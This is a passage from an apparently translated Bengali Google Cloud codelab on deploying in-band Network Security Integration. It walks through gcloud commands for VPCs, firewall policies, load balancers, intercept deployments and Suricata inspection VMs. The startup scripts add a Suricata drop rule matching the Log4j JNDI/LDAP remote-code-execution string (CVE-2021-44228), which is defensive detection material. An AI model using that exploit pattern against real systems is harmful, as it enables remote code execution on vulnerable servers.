১. ভূমিকা
নেটওয়ার্ক নিরাপত্তা ইন্টিগ্রেশন
নেটওয়ার্ক সিকিউরিটি ইন্টিগ্রেশন (NSI) আপনার ওয়ার্কলোডের জন্য নেটওয়ার্ক নিরাপত্তা উন্নত করার ক্ষেত্রে নমনীয়তা প্রদান করে। আপনি হয়তো কোনো তৃতীয়-পক্ষের ইন্ডিপেন্ডেন্ট সফটওয়্যার ভেন্ডর (ISV) থেকে বিশেষভাবে তৈরি কোনো অ্যাপ্লায়েন্স ব্যবহার করতে চাইতে পারেন, অথবা পেলোড পরীক্ষা করার জন্য একটি ডিপ প্যাকেট ইন্সপেকশন (DPI) ইঞ্জিন ব্যবহার করতে পারেন। এই তৃতীয়-পক্ষের অ্যাপ্লায়েন্সগুলোর সাথে নির্বিঘ্ন ইন্টিগ্রেশনের সুযোগ করে দিতে, গুগল ক্লাউড কোনো নেটওয়ার্ক বা রাউটিং পরিবর্তন ছাড়াই স্বচ্ছভাবে অ্যাপ্লায়েন্সগুলো স্থাপন করা সহজ করে দিচ্ছে।
গুগল ক্লাউড দুই ধরনের নেটওয়ার্ক সিকিউরিটি ইন্টিগ্রেশন অফার করে - আউট-অফ-ব্যান্ড এবং ইন-ব্যান্ড। এই ল্যাবে ইন-ব্যান্ড নেটওয়ার্ক সিকিউরিটি ইন্টিগ্রেশন স্থাপন করার ধাপগুলো আলোচনা করা হবে।
ইন-ব্যান্ড নেটওয়ার্ক নিরাপত্তা ইন্টিগ্রেশন
নেটওয়ার্ক সিকিউরিটি ইন্টিগ্রেশন প্যাকেট ইন্টারসেপ্ট প্রযুক্তি ব্যবহার করে ইন-ব্যান্ড ইন্টিগ্রেশন প্রদান করে, যা আপনাকে গুগল ক্লাউড ওয়ার্কলোডের স্বচ্ছ পরিদর্শনের জন্য নেটওয়ার্ক ট্র্যাফিকের পথে তৃতীয় পক্ষের নেটওয়ার্ক অ্যাপ্লায়েন্স স্থাপন করতে দেয়। এই প্রক্রিয়াটি জেনেরিক নেটওয়ার্ক ভার্চুয়ালাইজেশন এনক্যাপসুলেশন (GENEVE) ব্যবহার করে মূল উৎস এবং গন্তব্য আইপি অ্যাড্রেস পরিবর্তন না করেই অ্যাপ্লায়েন্সে প্যাকেটগুলোকে নিরাপদে পরিবহন করে।
ইন-ব্যান্ড ইন্টিগ্রেশন বাম্প-ইন-দ্য-ওয়্যার মোডে থার্ড-পার্টি ইনলাইন নেটওয়ার্ক অ্যাপ্লায়েন্স স্থাপন এবং ব্যবহারের জন্য একটি পরিষেবা-কেন্দ্রিক পদ্ধতি প্রদান করে। একজন পরিষেবা প্রদানকারী হিসেবে, আপনি একটি ইন্টারসেপ্ট ডেপ্লয়মেন্ট হিসাবে থার্ড-পার্টি নেটওয়ার্ক অ্যাপ্লায়েন্সের একটি পরিমাপযোগ্য সেট প্রকাশ করতে পারেন। একজন পরিষেবা গ্রাহক হিসেবে, আপনি ক্লাউড নেক্সট জেনারেশন ফায়ারওয়ালের পলিসি এবং রুল ব্যবহার করে ট্র্যাফিকের একটি সূক্ষ্ম নির্বাচন করতে পারেন, যা পরিদর্শনের জন্য স্বচ্ছভাবে একটি স্থানীয় ইন্টারসেপ্ট এন্ডপয়েন্টে পুনঃনির্দেশিত হবে।

চিত্র ১. ইন-ব্যান্ড ইন্টিগ্রেশন সার্ভিসের উচ্চ-স্তরের ডেপ্লয়মেন্ট আর্কিটেকচার
ইন-ব্যান্ড এনএসআই ইন্টিগ্রেশন সম্পর্কে আরও তথ্যের জন্য, ইন-ব্যান্ড ইন্টিগ্রেশন ওভারভিউ দেখুন।
ইন-ব্যান্ড পরিষেবা প্রযোজক
সার্ভিস প্রডিউসার হলো সেই স্থান যেখানে থার্ড-পার্টি অ্যাপ্লায়েন্সগুলো ডেপ্লয় এবং ম্যানেজ করা হয়। এটি আপনার প্রতিষ্ঠানের কোনো ব্যক্তি (যেমন সিকিউরিটি টিম) অথবা কোনো বহিরাগত ভেন্ডর দ্বারা পরিচালিত হতে পারে। প্রডিউসাররা তাদের ভার্চুয়াল মেশিনগুলোকে (যা থার্ড-পার্টি অ্যাপ্লায়েন্সও হতে পারে) তাদের ভিপিসি নেটওয়ার্কের একটি অভ্যন্তরীণ পাসথ্রু নেটওয়ার্ক লোড ব্যালান্সারের ব্যাকএন্ড হিসেবে রেজিস্টার করে। এই অ্যাপ্লায়েন্সগুলো তাদের দিকে রিডাইরেক্ট করা নেটওয়ার্ক ট্র্যাফিক পরীক্ষা করে। এরপর সার্ভিস প্রডিউসাররা ইন্টারসেপ্ট ডেপ্লয়মেন্ট তৈরি করে, যা একটি জোনাল রিসোর্স এবং এটি অভ্যন্তরীণ পাসথ্রু নেটওয়ার্ক লোড ব্যালান্সারের ফরওয়ার্ডিং রুলকে নির্দেশ করে।
ইন্টারসেপ্ট ডেপ্লয়মেন্ট হলো একটি জোনাল রিসোর্স যা একটি নির্দিষ্ট জোনের জন্য প্রডিউসারের ইন্সপেকশন সার্ভিসকে প্রতিনিধিত্ব করে। প্রডিউসাররা তাদের ভিএম (VM) স্থাপন করা প্রতিটি জোনের জন্য ইন্টারসেপ্ট ডেপ্লয়মেন্ট তৈরি করে।
একটি ইন্টারসেপ্ট ডেপ্লয়মেন্ট গ্রুপ হলো একটি গ্লোবাল, প্রজেক্ট-স্কোপড রিসোর্স যা কনজিউমারদেরকে প্রডিউসারের ইন্সপেকশন সার্ভিসের সাথে সংযোগ স্থাপন করতে দেয়। প্রডিউসাররা একাধিক জোনাল ইন্টারসেপ্ট ডেপ্লয়মেন্টকে একত্রিত করার জন্য একটি ইন্টারসেপ্ট ডেপ্লয়মেন্ট গ্রুপ তৈরি করে। কোন কনজিউমাররা তাদের ডেপ্লয়মেন্ট গ্রুপের সাথে সংযোগ করতে পারবে, তা নিয়ন্ত্রণ করতে প্রডিউসাররা IAM ব্যবহার করে।
আরও তথ্যের জন্য, ইন্টারসেপ্ট ডেপ্লয়মেন্ট গ্রুপ ওভারভিউ এবং ইন্টারসেপ্ট ডেপ্লয়মেন্ট ওভারভিউ দেখুন।
ইন-ব্যান্ড পরিষেবা গ্রাহক
সার্ভিস কনজিউমাররা প্রডিউসারদের দেওয়া ইন্সপেকশন সার্ভিসগুলো ব্যবহার করে। কনজিউমাররা নির্দিষ্ট করে দেয় যে তারা কোন VPC-গুলো এবং কোন প্রডিউসারের কাছ থেকে ইন্সপেকশন করাতে চায়। এটি করার জন্য, কনজিউমাররা একটি ইন্টারসেপ্ট এন্ডপয়েন্ট গ্রুপ তৈরি করে, যা একটি গ্লোবাল রিসোর্স এবং প্রডিউসার-কনজিউমার সম্পর্কের ক্ষেত্রে তাদের পক্ষকে প্রতিনিধিত্ব করে। এরপর তারা এই ইন্টারসেপ্ট এন্ডপয়েন্ট গ্রুপটিকে প্রডিউসারের ইন্টারসেপ্ট ডিপ্লয়মেন্ট গ্রুপের সাথে লিঙ্ক করে দেয়।
যেসব VPC থেকে ট্র্যাফিক পরিদর্শন করা হবে, সেগুলোর সাথে ইন্টারসেপ্ট এন্ডপয়েন্ট গ্রুপকে যুক্ত করার জন্য কনজিউমাররা একটি ইন্টারসেপ্ট এন্ডপয়েন্ট গ্রুপ অ্যাসোসিয়েশন তৈরি করে। পরিদর্শনের জন্য প্রডিউসারের কাছে কোন ট্র্যাফিক পাঠানো হবে তা নির্বাচন করতে, কনজিউমাররা নেটওয়ার্ক ফায়ারওয়াল পলিসি তৈরি ও ব্যবহার করে। কনজিউমাররা একটি সিকিউরিটি প্রোফাইল গ্রুপ তৈরি করে, যার মধ্যে এমন একটি সিকিউরিটি প্রোফাইল থাকে যা তাদের ইন্টারসেপ্ট এন্ডপয়েন্ট গ্রুপকে রেফারেন্স করে। এরপর কনজিউমাররা একটি ফায়ারওয়াল রুল তৈরি করে, যা নির্দিষ্ট শর্ত পূরণকারী ট্র্যাফিককে প্রডিউসারের অ্যাপ্লায়েন্সে রিডাইরেক্ট করে।
যদিও ইন্টারসেপ্ট এন্ডপয়েন্ট গ্রুপ (IEG) একটি প্রজেক্ট লেভেলের রিসোর্স, IEG এবং IEG অ্যাসোসিয়েশনকে একই প্রজেক্টে থাকতে হবে এমন কোনো বাধ্যবাধকতা নেই। আপনার প্রতিষ্ঠানের মধ্যে থাকা অন্যান্য প্রজেক্ট থেকেও একটি IEG অ্যাসোসিয়েশনের মাধ্যমে একটি IEG-কে রেফারেন্স করা যেতে পারে। এটি প্রডিউসার-কনজিউমার সম্পর্কের কনজিউমার পক্ষকে প্রতিনিধিত্ব করে। কনজিউমাররা একটি প্রডিউসারের ইন্সপেকশন সার্ভিস ব্যবহার করার জন্য একটি ইন্টারসেপ্ট এন্ডপয়েন্ট গ্রুপ তৈরি করে। কনজিউমার পক্ষের প্রতিটি ইন্টারসেপ্ট এন্ডপয়েন্ট গ্রুপ প্রডিউসার পক্ষের একটিমাত্র ইন্টারসেপ্ট ডেপ্লয়মেন্ট গ্রুপের সাথে যুক্ত থাকে।
আরও তথ্যের জন্য, ইন্টারসেপ্ট এন্ডপয়েন্ট গ্রুপ এবং অ্যাসোসিয়েশন ওভারভিউ দেখুন।
গ্রাহকদের অবশ্যই তাদের ইন্টারসেপ্ট এন্ডপয়েন্ট গ্রুপে ট্র্যাফিক পুনঃনির্দেশ করার জন্য একটি ফায়ারওয়াল পলিসি রুল তৈরি করতে হবে। গ্রাহকরা ফায়ারওয়াল পলিসি রুলের মধ্যে ম্যাচিং ক্রাইটেরিয়া নির্দিষ্ট করতে পারেন, যা তাদের নির্ধারণ করতে দেয় যে প্রডিউসারের অ্যাপ্লায়েন্সগুলো কোন ট্র্যাফিক পরিদর্শন করবে।
ট্র্যাফিক পরিদর্শনের জন্য কোন ইন্টারসেপ্ট এন্ডপয়েন্ট গ্রুপ ব্যবহার করা হবে তা নির্দিষ্ট করতে গ্রাহকরা একটি কাস্টম ইন্টারসেপ্ট সিকিউরিটি প্রোফাইল তৈরি করেন।
গ্রাহকরা ট্র্যাফিকের একটি নির্দিষ্ট উপসেটে প্রয়োগ করার জন্য নিরাপত্তা পরিদর্শন বৈশিষ্ট্যগুলির একটি গ্রুপ নির্ধারণ করতে একটি নিরাপত্তা প্রোফাইল গ্রুপ তৈরি করেন। একটি নিরাপত্তা প্রোফাইল গ্রুপে একটিমাত্র কাস্টম ইন্টারসেপ্ট নিরাপত্তা প্রোফাইল থাকে।
আপনি যা তৈরি করবেন

চিত্র ২. এই কোডল্যাবের উচ্চ-স্তরের ডেপ্লয়মেন্ট আর্কিটেকচার
এই কোডল্যাবের সরলতার জন্য, আপনি একটিমাত্র প্রজেক্ট ব্যবহার করবেন এবং দুটি ভিপিসি নেটওয়ার্ক তৈরি করার পাশাপাশি বেশ কিছু নেটওয়ার্ক ও নিরাপত্তা রিসোর্স পরিচালনা করবেন। এই ল্যাবটি দেখাবে কীভাবে স্বচ্ছ নিরাপত্তা সংযোজনের জন্য একটি থার্ড-পার্টি অ্যাপ্লায়েন্সের মাধ্যমে ইন-ব্যান্ড নেটওয়ার্ক সার্ভিস ইন্টিগ্রেশন স্থাপন করতে হয়।
যে ফ্লোগুলো পরিদর্শন করা হবে, সেগুলো ক্লাউড ফায়ারওয়ালের ম্যাচিং প্যারামিটার ব্যবহার করে নির্বাচন করা হবে, যার মধ্যে ৫-টাপল (সোর্স আইপি, ডেস্টিনেশন আইপি, প্রোটোকল, সোর্স পোর্ট, ডেস্টিনেশন পোর্ট) অন্তর্ভুক্ত থাকবে। এই ল্যাবের সরলতার জন্য, আপনি TCP পোর্ট ৮০-তে সমস্ত EGRESS ট্র্যাফিক পরিদর্শন করবেন।
প্রডিউসার তার VPC সাবনেট গেটওয়ে IP (10.0.0.1/32) থেকে GENEVE-এর সুপরিচিত পোর্ট 6081-এর ডেস্টিনেশন পোর্টের UDP প্যাকেট প্রবেশের অনুমতি দেবে।
নেটওয়ার্ক ফায়ারওয়াল পলিসি রুলবেসের চূড়ান্ত অবস্থা নিচের টেবিলের অনুরূপ হবে:
প্রযোজক নেটওয়ার্ক নীতিমালা:
অগ্রাধিকার | দিকনির্দেশনা | প্রোটোকল | লক্ষ্য | উৎস | গন্তব্য | গন্তব্য বন্দর | পদক্ষেপ |
১০০ | প্রবেশ | সব | সব | স্বাস্থ্য-পরীক্ষা | যেকোনো | যেকোনো | অনুমতি দিন |
২০০ | প্রবেশ | সব | সব | আইএপি | যেকোনো | যেকোনো | অনুমতি দিন |
৩০০ | প্রবেশ | ইউডিপি | সব | ১০.০.০.১/৩২ | যেকোনো | ৬০৮১ | অনুমতি দিন |
ভোক্তা নেটওয়ার্ক নীতি:
অগ্রাধিকার | দিকনির্দেশনা | প্রোটোকল | লক্ষ্য | উৎস | গন্তব্য | গন্তব্য বন্দর | পদক্ষেপ |
২০০ | প্রবেশ | টিসিপি | সব | আইএপি | যেকোনো | ২২ | অনুমতি দিন |
৮০০ | বহির্গমন | টিসিপি | সব | যেকোনো | যেকোনো | ৮০ | ইন্টারসেপ্ট |
আপনি যা শিখবেন
- ইন-ব্যান্ড নেটওয়ার্ক নিরাপত্তা ইন্টিগ্রেশন কীভাবে স্থাপন করবেন
আপনার যা যা লাগবে
- গুগল ক্লাউড সংস্থা এবং প্রকল্প
- যথাযথ IAM অনুমতি
- ইনস্ট্যান্স স্থাপন এবং নেটওয়ার্কিং উপাদান কনফিগার করার জ্ঞান
- নেটওয়ার্ক পলিসি ফায়ারওয়াল কনফিগারেশন জ্ঞান
২. শুরু করার আগে
IAM ভূমিকা এবং অনুমতি
ইন-ব্যান্ড নেটওয়ার্ক সিকিউরিটি ইন্টিগ্রেশন (NSI) কোডল্যাবটি সম্পন্ন করার জন্য আপনার নিম্নলিখিত IAM রোলগুলির প্রয়োজন হবে:
- কম্পিউট নেটওয়ার্ক অ্যাডমিন (
roles/compute.networkAdmin): VPC নেটওয়ার্ক, সাবনেট, ক্লাউড রাউটার, NAT গেটওয়ে এবং লোড ব্যালেন্সার ব্যাকএন্ড সার্ভিস তৈরি ও পরিচালনার জন্য এই পদটি প্রয়োজন। - কম্পিউট সিকিউরিটি অ্যাডমিন (
roles/compute.securityAdmin): গ্লোবাল নেটওয়ার্ক ফায়ারওয়াল পলিসি ও রুল তৈরি, কনফিগার এবং সংযুক্ত করার জন্য প্রয়োজনীয়। - কম্পিউট ইনস্ট্যান্স অ্যাডমিন (
roles/compute.instanceAdmin.v1): সুরিকাটা অ্যাপ্লায়েন্স এবং কনজিউমার টেস্টিং ভিএম স্থাপন করতে, SSH-এর মাধ্যমে প্রবেশ করতে এবং প্রয়োজনে মুছে ফেলার জন্য এটি প্রয়োজন। - ইন্টারসেপ্ট ডিপ্লয়মেন্ট অ্যাডমিন (
roles/networksecurity.interceptDeploymentAdmin): প্রডিউসার এটি ব্যবহার করে জোনাল ইন্টারসেপ্ট ডিপ্লয়মেন্ট এবং গ্লোবাল ডিপ্লয়মেন্ট গ্রুপ তৈরি ও পরিচালনা করে। - ইন্টারসেপ্ট এন্ডপয়েন্ট অ্যাডমিন (
roles/networksecurity.interceptEndpointAdmin): কনজিউমার ইন্টারসেপ্ট এন্ডপয়েন্ট গ্রুপ তৈরি করতে এবং সেগুলোকে তাদের VPC নেটওয়ার্কের সাথে যুক্ত করতে এটি ব্যবহার করে। - ইন্টারসেপ্ট ডিপ্লয়মেন্ট ইউজার (
roles/networksecurity.interceptDeploymentUser): কনজিউমারকে প্রডিউসারের ডিপ্লয়মেন্ট গ্রুপে সংযোগ করার অনুমতি দেওয়ার জন্য প্রডিউসার প্রোজেক্টে এটি প্রয়োজন। - সিকিউরিটি প্রোফাইল অ্যাডমিন (
roles/networksecurity.securityProfileAdmin): কাস্টম ইন্টারসেপ্ট সিকিউরিটি প্রোফাইল এবং সিকিউরিটি প্রোফাইল গ্রুপ তৈরি ও পরিচালনা করার জন্য সংস্থা পর্যায়ে এটি প্রয়োজন। - সার্ভিস ইউসেজ অ্যাডমিন (
roles/serviceusage.serviceUsageAdmin): NSI ফিচারগুলোর জন্য প্রয়োজনীয়networksecurity.googleapis.comএবংcompute.googleapis.comAPI-গুলো সক্রিয় করতে এটি আবশ্যক। - প্রজেক্ট ভিউয়ার (
roles/viewer): ল্যাব জুড়ে ব্যবহৃত এনভায়রনমেন্ট ভেরিয়েবলগুলোর জন্য প্রজেক্ট কনফিগারেশন এবং অর্গানাইজেশনের উৎস সম্পর্কিত তথ্য পুনরুদ্ধার করতে এটি প্রয়োজন।
গুগল ক্লাউড এপিআই
অনুগ্রহ করে নিশ্চিত করুন যে আপনার প্রজেক্টে প্রয়োজনীয় গুগল ক্লাউড এপিআইগুলো সক্রিয় করা আছে।
প্রয়োজনীয় API-গুলো সক্রিয় করুন এবং ক্লাউড শেলের মধ্যে নিম্নলিখিত gcloud কমান্ডগুলো চালান।
gcloud services enable compute.googleapis.com \ networksecurity.googleapis.com \ cloudresourcemanager.googleapis.com
ভেরিয়েবল তৈরি/আপডেট করুন
এই কোডল্যাবটি ক্লাউড শেলে gcloud কনফিগারেশন বাস্তবায়নে সাহায্য করার জন্য $variables ব্যবহার করে।
ক্লাউড শেলে, প্রয়োজন অনুযায়ী বন্ধনীর ভেতরের তথ্য পরিবর্তন করে নিচের কমান্ডগুলো চালান:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zonea=[first-zone from $region] export zoneb=[second-zone from $region] export zonec=[third-zone from $region]
৩. প্রযোজকের পদক্ষেপ
এই অংশে প্রডিউসার ডেপ্লয়মেন্ট পর্যায় নিয়ে আলোচনা করা হবে। এর মধ্যে রয়েছে ভিপিসি (VPC), থার্ড-পার্টি নেটওয়ার্ক ভার্চুয়াল অ্যাপ্লায়েন্স এবং নেটওয়ার্ক সিকিউরিটি ইন্টিগ্রেশনের জন্য প্রয়োজনীয় সকল কম্পোনেন্ট ডেপ্লয় করা।
VPC এবং ক্লাউড NAT উপাদানসমূহ
- VPC এবং সাবনেট তৈরি করুন:
gcloud compute networks create producer-vpc --subnet-mode=custom gcloud compute networks subnets create producer-$region-subnet \ --range=10.0.0.0/24 --network=producer-vpc --region=$region
- ফায়ারওয়াল নিয়মে ব্যবহারের জন্য সাবনেট গেটওয়ে আইপি সংগ্রহ করুন:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
- প্রডিউসার VPC-এর জন্য FW পলিসি এবং রুল তৈরি করুন। এই FW রুলগুলো হেলথ চেক, IAP, এবং NSI সোর্সড ট্র্যাফিকের জন্য ইনগ্রেসের অনুমতি দেবে:
gcloud compute network-firewall-policies create producer-fwpolicy \
--global
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from ilb health-check ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80 \
--direction=INGRESS \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
gcloud compute network-firewall-policies rules create 300 \
--description="allow GENEVE UDP:6081 packets from gateway" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=udp:6081 \
--direction=INGRESS \
--src-ip-ranges=$gatewayip
- প্রডিউসার VPC-কে নেটওয়ার্ক ফায়ারওয়াল পলিসির সাথে সংযুক্ত করুন:
gcloud compute network-firewall-policies associations create \
--firewall-policy producer-fwpolicy \
--network producer-vpc \
--name producer-fwpolicy-association \
--global-firewall-policy
- প্রয়োজনীয় প্যাকেজ ও আপডেট ডাউনলোড করার জন্য থার্ড-পার্টি নেটওয়ার্ক ভার্চুয়াল অ্যাপ্লায়েন্স (NVA)-এর জন্য ক্লাউড রাউটার এবং ক্লাউড NAT স্থাপন করুন:
gcloud compute addresses create producer-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)") gcloud compute routers create producer-$region-cr \ --region=$region --network=producer-vpc gcloud compute routers nats create producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=producer-$region-cloudnatip
তৃতীয় পক্ষের ভিএম
এই ল্যাবের জন্য, আপনি সুরিকাটা (Suricata) নামক একটি ওপেন সোর্স থ্রেট ডিটেকশন সার্ভিস ডেপ্লয় করবেন। কমান্ডটিতে একটি স্টার্ট-আপ স্ক্রিপ্ট রয়েছে যা সুরিকাটা ইনস্টল এবং কনফিগার করবে। এছাড়াও রয়েছে আইপিটেবলস (iptables), যা জেনেভ (GENEVE) প্যাকেট হ্যান্ডলিং এবং সেগুলোর প্রতিক্রিয়া জানানোর জন্য সোর্স নেটওয়ার্ক অ্যাড্রেস ট্রান্সলেশন (SNAT) এবং ডেস্টিনেশন নেটওয়ার্ক অ্যাড্রেস ট্রান্সলেশন (DNAT) সম্পাদন করে।
- আপনার প্রথম জোনে একটি তৃতীয় পক্ষের এনভিএ মোতায়েন করুন।
gcloud compute instances create suricata-$zonea \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.3 \
--zone $zonea \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
- আপনার দ্বিতীয় জোনে একটি তৃতীয় পক্ষের এনভিএ মোতায়েন করুন:
gcloud compute instances create suricata-$zoneb \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.4 \
--zone $zoneb \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
প্রযোজক লোড ব্যালেন্সার উপাদান
- আপনার থার্ড-পার্টি এনভিএ-এর প্রাপ্যতা যাচাই করার জন্য একটি সাধারণ স্বাস্থ্য পরীক্ষা তৈরি করুন:
gcloud compute health-checks create http nva-hc
- প্রতিটি জোনের জন্য একটি জোনাল আন-ম্যানেজড ইনস্ট্যান্স গ্রুপ তৈরি করুন:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \ --zone $zonea gcloud compute instance-groups unmanaged create producer-$zoneb-uig \ --zone $zoneb
- আপনার ইনস্ট্যান্সগুলোকে আপনার ইনস্ট্যান্স গ্রুপে যুক্ত করুন:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb
নিম্নলিখিত কমান্ডগুলো ব্যবহার করে যাচাই করুন যে আপনার ইনস্ট্যান্স গ্রুপগুলোতে আপনার ইনস্ট্যান্সগুলো রয়েছে:
gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb
নমুনা আউটপুট:
NAME: suricata-$zonea STATUS: RUNNING NAME: suricata-$zoneb STATUS: RUNNING
- একটি অভ্যন্তরীণ ইউডিপি ব্যাকএন্ড-সার্ভিস তৈরি করুন:
gcloud compute backend-services create producer-bes \ --protocol=UDP \ --region=projects/$project_id/regions/$region \ --health-checks=projects/$project_id/global/healthChecks/nva-hc \ --load-balancing-scheme=INTERNAL
- ব্যাকএন্ড সার্ভিসে উভয় ইনস্ট্যান্স-গ্রুপ যোগ করুন:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
- আপনার ফরওয়ার্ডিং নিয়মের জন্য অভ্যন্তরীণ আইপি সংরক্ষিত রাখুন। প্রতিটি ইন্টারসেপ্ট ডেপ্লয়মেন্টের জন্য একটি স্বতন্ত্র ফরওয়ার্ডিং নিয়ম প্রয়োজন:
gcloud compute addresses create producer-fr-$zonea-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.11
gcloud compute addresses create producer-fr-$zoneb-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.12
- প্রতিটি জোনের জন্য ফরওয়ার্ডিং নিয়ম তৈরি করুন। এটি আবশ্যক, কারণ ইন্টারসেপ্ট ডেপ্লয়মেন্টের জন্য একটি অনন্য ফরওয়ার্ডিং নিয়ম প্রয়োজন:
gcloud compute forwarding-rules create producer-fr-$zonea \ --ip-protocol=UDP --address=10.0.0.11 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet gcloud compute forwarding-rules create producer-fr-$zoneb \ --ip-protocol=UDP --address=10.0.0.12 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
নেটওয়ার্ক নিরাপত্তা ইন্টিগ্রেশন উপাদান
- একটি ইন্টারসেপ্ট ডেপ্লয়মেন্ট গ্রুপ তৈরি করুন:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
--location global \
--no-async \
--network producer-vpc
ডিপ্লয়মেন্ট গ্রুপটি সফলভাবে তৈরি হয়েছে কিনা তা যাচাই করুন:
gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
--location global
নমুনা আউটপুট:
createTime: '2025-01-16T06:13:48.075183628Z' name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group network: projects/$project_id/global/networks/producer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:13:50.556947138Z'
- প্রতিটি জোনের জন্য একটি ইন্টারসেপ্ট ডেপ্লয়মেন্ট তৈরি করুন:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
--location $zonea \
--forwarding-rule producer-fr-$zonea \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
--location $zoneb \
--forwarding-rule producer-fr-$zoneb \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
